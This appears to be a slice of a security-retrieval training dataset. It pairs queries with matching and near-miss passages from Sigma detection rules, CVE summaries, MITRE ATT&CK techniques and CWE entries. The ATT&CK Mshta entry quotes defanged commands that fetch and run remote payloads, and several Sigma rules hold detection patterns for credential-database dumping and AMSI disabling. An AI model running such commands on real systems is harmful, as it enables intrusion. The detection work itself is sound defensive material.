alirezaaminzadeh/secembed-pairs huggingface dataset:
Query: rule covering Detect failed attempts to sign in to disabled accounts.
Matching passage: Sigma rule: Detect failed attempts to sign in to disabled accounts.. Logsource: azure / signinlogs. Rule: title: Login to Disabled Account id: 908655e0-25cf-4ae1-b775-1c8ce9cf43d8 status: test description: Detect failed attempts to sign in to disabled accounts. references: - https://learn.microsoft.com/en-us/entra/architecture/security-operations-privileged-accounts author: AlertIQ date: 2021-10-10 modified: 2022-12-25 tags: - attack.privilege-escalation - attack.persistence - attack.initial-access - attack.stealth - attack.t1078.004 logsource: product: azure service: signinlogs detection: selection: ResultType: 50057 ResultDescription: User account is disabled. The account has been disabled by an administrator. condition: selection falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects execution of AppleScript of the macOS scripting language AppleScript.. Logsource: macos / process_creation. Rule: title: MacOS Scripting Interpreter AppleScript id: 1bc2e6c5-0885-472b-bed6-be5ea8eace55 status: test description: Detects execution of AppleScript of the macOS scripting language AppleScript. references: - https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1059.002/T1059.002.md - https://redcanary.com/blog/applescript/ author: Alejandro Ortuno, oscd.community date: 2020-10-21 modified: 2026-05-21 tags: - attack.execution - attack.t1059.002 logsource: category: process_creation product: macos detection: selection: Image|endswith: /osascript CommandLine|contains: - ' -e ' - .scpt - .js filter_optional_opencode: ParentImage|endswith: opencode CommandLine|contains|all: - osascript - ' -e ' - set imageData to the clipboard - set fileRef condition: selection and not 1 of filter_optional_* falsepositives: - Application installers might contain scripts as part of the installation process. level: medium
Query: patch priority for CVE-2015-4430
Matching passage: CVE-2015-4430. CWE: UNKNOWN. CVSS: 10.0. Use-after-free vulnerability in Adobe Flash Player before 13.0.0.302 and 14.x through 18.x before 18.0.0.203 on Windows and OS X and before 11.2.202.481 on Linux, Adobe AIR before 18.0.0.180, Adobe AIR SDK before 18.0.0.180, and Adobe AIR SDK & Compiler before 18.0.0.180 allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-3118, CVE-2015-3124, CVE-2015-3127, CVE-2015-3128, CVE-2015-3129, CVE-2015-3131, CVE-2015-3132, CVE-2015-3136, CVE-2015-3137, CVE-2015-4428, and CVE-2015-5117.
Near-miss passage: CVE-2015-0315. CWE: UNKNOWN. CVSS: 10.0. Use-after-free vulnerability in Adobe Flash Player before 13.0.0.269 and 14.x through 16.x before 16.0.0.305 on Windows and OS X and before 11.2.202.442 on Linux allows attackers to execute arbitrary code via unspecified vectors, a different vulnerability than CVE-2015-0313, CVE-2015-0320, and CVE-2015-0322.
Query: Suspicious Space after Filename execution detected on endpoint
Matching passage: T1036.006 Space after Filename. Tactics: stealth. Description: Adversaries can hide a program's true filetype by changing the extension of a file. With certain file types (specifically this does not work with .app extensions), appending a space to the end of a filename will change how the file is processed by the operating system. For example, if there is a Mach-O executable file called <code>evil.bin</code>, when it is double clicked by a user, it will launch Terminal.app and execute. If this file is renamed to <code>evil.txt</code>, then when double clicked by a user, it will launch with the default text editing application (not executing the binary). However, if the file is renamed to <code>evil.txt </code> (note the space at the end), then when double clicked by a user, the true file type is determined by the OS and handled appropriately and the binary will be executed (Citation: Mac Backdoors are back). Adversaries can use this feature to trick users into double clicking benign-looking files of any format and ultimately executing something malicious.
Near-miss passage: T1036.007 Double File Extension. Tactics: stealth. Description: Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) Adversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user’s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named <code>Evil.txt.exe</code> may display as <code>Evil.txt</code> to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension) Common file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.
Query: describe CVE-2015-7343
Matching passage: CVE-2015-7343. CWE: CWE-79. CVSS: 4.800000190734863. JNews Joomla Component before 8.5.0 has XSS via the mailingsearch parameter.
Near-miss passage: CVE-2015-9104. CWE: CWE-79. CVSS: 5.400000095367432. Cross-site scripting (XSS) vulnerabilities in Synology Audio Station 5.1 before 5.1-2550 and 5.4 before 5.4-2857 allows remote authenticated attackers to inject arbitrary web script or HTML via the album title.
Query: CWE for Buffer Access Using Size of Source Buffer
Matching passage: CWE-806 Buffer Access Using Size of Source Buffer. The product uses the size of a source buffer when reading from or writing to a destination buffer, which may cause it to access memory that is outside of the bounds of the buffer.
Near-miss passage: CWE-437 Incomplete Model of Endpoint Features. A product acts as an intermediary or monitor between two or more endpoints, but it does not have a complete model of an endpoint's features, behaviors, or state, potentially causing the product to perform incorrect actions based on this incomplete model.
Query: describe CVE-2015-7766
Matching passage: CVE-2015-7766. CWE: CWE-264. CVSS: 9.0. PGSQL:SubmitQuery.do in ZOHO ManageEngine OpManager 11.6, 11.5, and earlier allows remote administrators to bypass SQL query restrictions via a comment in the query to api/json/admin/SubmitQuery, as demonstrated by "INSERT/**/INTO."
Near-miss passage: CVE-2015-5493. CWE: CWE-264. CVSS: 5.0. The Entityform Block module 7.x-1.x before 7.x-1.3 for Drupal does not properly check permissions when a form is locked to a role, which allows remote attackers to obtain access to certain entityforms via unspecified vectors.
Query: impact using External Defacement
Matching passage: T1491.002 External Defacement. Tactics: impact. Description: An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement)
Near-miss passage: T1491 Defacement. Tactics: impact. Description: Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages.
Query: risk of The file-execution functionality in WinRAR before 5.30 beta 5 allows local users to gain privileges via a Trojan horse file with a name similar to an extensionless filename that wa
Matching passage: CVE-2015-5663. CWE: CWE-264. CVSS: 7.400000095367432. The file-execution functionality in WinRAR before 5.30 beta 5 allows local users to gain privileges via a Trojan horse file with a name similar to an extensionless filename that was selected by the user.
Near-miss passage: CVE-2015-7596. CWE: CWE-264. CVSS: 7.800000190734863. SafeNet Authentication Service End User Software Tools for Windows uses a weak ACL for unspecified installation directories and executable modules, which allows local users to gain privileges by modifying an executable module.
Query: write Sigma for Detects potential abuse of ntdsutil to dump ntds.dit database to a suspicious location
Matching passage: Sigma rule: Detects potential abuse of ntdsutil to dump ntds.dit database to a suspicious location. Logsource: windows / application. Rule: title: Dump Ntds.dit To Suspicious Location id: 94dc4390-6b7c-4784-8ffc-335334404650 status: test description: Detects potential abuse of ntdsutil to dump ntds.dit database to a suspicious location references: - https://twitter.com/mgreen27/status/1558223256704122882 - https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/jj574207(v=ws.11) author: Nasreddine Bencherchali (Nextron Systems) date: 2022-08-14 modified: 2023-10-23 tags: - attack.execution logsource: product: windows service: application detection: selection_root: Provider_Name: ESENT EventID: 325 Data|contains: ntds.dit selection_paths: Data|contains: - :\ntds.dit - \Appdata\ - \Desktop\ - \Downloads\ - \Perflogs\ - \Temp\ - \Users\Public\ condition: all of selection_* falsepositives: - Legitimate backup operation/creating shadow copies level: medium
Near-miss passage: Sigma rule: Detects usage of the "type" command to download/upload data from WebDAV server. Logsource: windows / process_creation. Rule: title: Potential Download/Upload Activity Using Type Command id: aa0b3a82-eacc-4ec3-9150-b5a9a3e3f82f status: test description: Detects usage of the "type" command to download/upload data from WebDAV server references: - https://mr0range.com/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22 author: Nasreddine Bencherchali (Nextron Systems) date: 2022-12-14 tags: - attack.command-and-control - attack.t1105 logsource: product: windows category: process_creation detection: selection_upload: CommandLine|contains|all: - 'type ' - ' > \\\\' selection_download: CommandLine|contains|all: - type \\\\ - ' > ' condition: 1 of selection_* falsepositives: - Unknown level: medium
Query: describe CVE-2015-4420
Matching passage: CVE-2015-4420. CWE: CWE-79. CVSS: 4.300000190734863. Multiple cross-site scripting (XSS) vulnerabilities in Opsview 4.6.2 and earlier allow remote attackers to inject arbitrary web script or HTML via a (1) crafted check plugin, the (2) description in a host profile, or the (3) plugin_args parameter to a Test service check page.
Near-miss passage: CVE-2015-2015. CWE: CWE-79. CVSS: 4.300000190734863. Cross-site scripting (XSS) vulnerability in pubnames.ntf (aka the Directory template) in the web server in IBM Domino before 9.0.0 allows remote attackers to inject arbitrary web script or HTML via a crafted URL, aka SPR KLYH8WBPRN.
Query: risk of Unspecified vulnerability in Oracle MySQL Server 5.5.40 and earlier and 5.6.21 and earlier allows remote attackers to affect availability via unknown vectors related to Server : Re
Matching passage: CVE-2015-0381. CWE: UNKNOWN. CVSS: 4.300000190734863. Unspecified vulnerability in Oracle MySQL Server 5.5.40 and earlier and 5.6.21 and earlier allows remote attackers to affect availability via unknown vectors related to Server : Replication, a different vulnerability than CVE-2015-0382.
Near-miss passage: CVE-2015-8320. CWE: UNKNOWN. CVSS: 5.0. Apache Cordova-Android before 3.7.0 improperly generates random values for BridgeSecret data, which makes it easier for attackers to conduct bridge hijacking attacks by predicting a value.
Query: Sigma rule for A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for b
Matching passage: Sigma rule: A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for b. Logsource: windows / process_creation. Rule: title: Potential UAC Bypass Via Sdclt.EXE id: 40f9af16-589d-4984-b78d-8c2aec023197 status: test description: A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques. references: - https://github.com/OTRF/detection-hackathon-apt29/issues/6 - https://github.com/OTRF/ThreatHunter-Playbook/blob/2d4257f630f4c9770f78d0c1df059f891ffc3fec/docs/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.md author: Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research) date: 2020-05-02 modified: 2024-12-01 tags: - attack.privilege-escalation - attack.t1548.002 logsource: category: process_creation product: windows detection: selection: Image|endswith: sdclt.exe IntegrityLevel: - High - S-1-16-12288 condition: selection falsepositives: - Unknown level: medium
Near-miss passage: Sigma rule: Detects attempts to disable AMSI (Anti-Malware Scan Interface) by modifying the AmsiEnable registry value. Anti-Malware. Logsource: windows / registry_set. Rule: title: AMSI Disabled via Registry Modification id: aa37cbb0-da36-42cb-a90f-fdf216fc7467 related: - id: 7dbbcac2-57a0-45ac-b306-ff30a8bd2981 type: similar status: experimental description: 'Detects attempts to disable AMSI (Anti-Malware Scan Interface) by modifying the AmsiEnable registry value. Anti-Malware Scan Interface (AMSI) is a security feature in Windows that allows applications and services to integrate with anti-malware products for enhanced protection against malicious content. Adversaries may attempt to disable AMSI to evade detection by security software, allowing them to execute malicious scripts or code without being scanned. ' references: - https://mostafayahiax.medium.com/hunting-for-amsi-bypassing-methods-9886dda0bf9d - https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal - https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/ author: Swachchhanda Shrawan Poudel (Nextron Systems) date: 2025-12-25 tags: - attack.defense-impairment - attack.t1685 logsource: category: registry_set product: windows detection: selection: TargetObject|endswith: \Software\Microsoft\Windows Script\Settings\AmsiEnable Details: DWORD (0x00000000) condition: selection falsepositives: - Unlikely level: high regression_tests_path: regression_data/rules/windows/registry/registry_set/registry_set_amsi_disable/info.yml simulation: - type: atomic-red-team name: AMSI Bypass - Create AMSIEnable Reg Key technique: T1562.001 atomic_guid: 728eca7b-0444-4f6f-ac36-437e3d751dc0
Query: CVE similar to CVE-2015-2662
Matching passage: CVE-2015-2662. CWE: UNKNOWN. CVSS: 1.899999976158142. Unspecified vulnerability in Oracle Sun Solaris 10 and 11.2 allows local users to affect availability via vectors related to DHCP Server.
Near-miss passage: CVE-2015-4875. CWE: UNKNOWN. CVSS: 5.0. Unspecified vulnerability in the Enterprise Manager Base Platform component in Oracle Enterprise Manager Grid Control 12.1.0.4 and 12.1.0.5 allows remote attackers to affect availability via unknown vectors related to Agent Next Gen.
Query: Multiple failed authentications followed by Mshta
Matching passage: T1218.005 Mshta. Tactics: stealth. Description: Adversaries may abuse mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code (Citation: Cylance Dust Storm) (Citation: Red Canary HTA Abuse Part Deux) (Citation: FireEye Attacks Leveraging HTA) (Citation: Airbus Security Kovter Analysis) (Citation: FireEye FIN7 April 2017) Mshta.exe is a utility that executes Microsoft HTML Applications (HTA) files. (Citation: Wikipedia HTML Application) HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser. (Citation: MSDN HTML Applications) Files may be executed by mshta.exe through an inline script: <code>mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))</code> They may also be executed directly from URLs: <code>mshta http[:]//webserver/payload[.]hta</code> Mshta.exe can be used to bypass application control solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings. (Citation: LOLBAS Mshta)
Near-miss passage: T1218.004 InstallUtil. Tactics: stealth. Description: Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries. (Citation: MSDN InstallUtil) The InstallUtil binary may also be digitally signed by Microsoft and located in the .NET directories on a Windows system: <code>C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe</code> and <code>C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe</code>. InstallUtil may also be used to bypass application control through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>. (Citation: LOLBAS Installutil)
Query: alert when Detects Obfuscated Powershell via use Clip.exe in Scripts
Matching passage: Sigma rule: Detects Obfuscated Powershell via use Clip.exe in Scripts. Logsource: windows / ps_script. Rule: title: Invoke-Obfuscation Via Use Clip - Powershell id: db92dd33-a3ad-49cf-8c2c-608c3e30ace0 status: test description: Detects Obfuscated Powershell via use Clip.exe in Scripts references: - https://github.com/SigmaHQ/sigma/issues/1009 author: Nikita Nazarov, oscd.community date: 2020-10-09 modified: 2024-04-15 tags: - attack.stealth - attack.t1027 - attack.execution - attack.t1059.001 logsource: product: windows category: ps_script definition: 'Requirements: Script Block Logging must be enabled' detection: selection_4104: ScriptBlockText|re: (?i)echo.*clip.*&&.*(Clipboard|i`?n`?v`?o`?k`?e`?) condition: selection_4104 falsepositives: - Unknown level: high
Near-miss passage: Sigma rule: Detects calls to base64 encoded WMI class such as "Win32_ShadowCopy", "Win32_ScheduledJob", etc.. Logsource: windows / process_creation. Rule: title: PowerShell Base64 Encoded WMI Classes id: 1816994b-42e1-4fb1-afd2-134d88184f71 related: - id: 47688f1b-9f51-4656-b013-3cc49a166a36 type: obsolete status: test description: Detects calls to base64 encoded WMI class such as "Win32_ShadowCopy", "Win32_ScheduledJob", etc. references: - https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar author: Christian Burkard (Nextron Systems), Nasreddine Bencherchali (Nextron Systems) date: 2023-01-30 tags: - attack.execution - attack.stealth - attack.t1059.001 - attack.t1027 logsource: category: process_creation product: windows detection: selection_img: - Image|endswith: - \powershell.exe - \pwsh.exe - OriginalFileName: - PowerShell.EXE - pwsh.dll selection_cli_shadowcopy: CommandLine|contains: - VwBpAG4AMwAyAF8AUwBoAGEAZABvAHcAYwBvAHAAeQ - cAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkA - XAGkAbgAzADIAXwBTAGgAYQBkAG8AdwBjAG8AcAB5A - V2luMzJfU2hhZG93Y29we - dpbjMyX1NoYWRvd2NvcH - XaW4zMl9TaGFkb3djb3B5 selection_cli_scheduledJob: CommandLine|contains: - VwBpAG4AMwAyAF8AUwBjAGgAZQBkAHUAbABlAGQASgBvAGIA - cAaQBuADMAMgBfAFMAYwBoAGUAZAB1AGwAZQBkAEoAbwBiA - XAGkAbgAzADIAXwBTAGMAaABlAGQAdQBsAGUAZABKAG8AYg - V2luMzJfU2NoZWR1bGVkSm9i - dpbjMyX1NjaGVkdWxlZEpvY - XaW4zMl9TY2hlZHVsZWRKb2 selection_cli_process: CommandLine|contains: - VwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcw - cAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMA - XAGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzA - V2luMzJfUHJvY2Vzc - dpbjMyX1Byb2Nlc3 - XaW4zMl9Qcm9jZXNz selection_cli_useraccount: CommandLine|contains: - VwBpAG4AMwAyAF8AVQBzAGUAcgBBAGMAYwBvAHUAbgB0A - cAaQBuADMAMgBfAFUAcwBlAHIAQQBjAGMAbwB1AG4AdA - XAGkAbgAzADIAXwBVAHMAZQByAEEAYwBjAG8AdQBuAHQA - V2luMzJfVXNlckFjY291bn - dpbjMyX1VzZXJBY2NvdW50 - XaW4zMl9Vc2VyQWNjb3Vud selection_cli_loggedonuser: CommandLine|contains: - VwBpAG4AMwAyAF8ATABvAGcAZwBlAGQATwBuAFUAcwBlAHIA - cAaQBuADMAMgBfAEwAbwBnAGcAZQBkAE8AbgBVAHMAZQByA - XAGkAbgAzADIAXwBMAG8AZwBnAGUAZABPAG4AVQBzAGUAcg - V2luMzJfTG9nZ2VkT25Vc2Vy - dpbjMyX0xvZ2dlZE9uVXNlc - XaW4zMl9Mb2dnZWRPblVzZX condition: selection_img and 1 of selection_cli_* falsepositives: - Unknown level: high
Query: weakness Improper Handling of Faults that Lead to Instruction Skips
Matching passage: CWE-1332 Improper Handling of Faults that Lead to Instruction Skips. The device is missing or incorrectly implements circuitry or sensors that detect and mitigate the skipping of security-critical CPU instructions when they occur.
Near-miss passage: CWE-83 Improper Neutralization of Script in Attributes in a Web Page. The product does not neutralize or incorrectly neutralizes javascript: or other URIs from dangerous attributes within tags, such as onmouseover, onload, onerror, or style.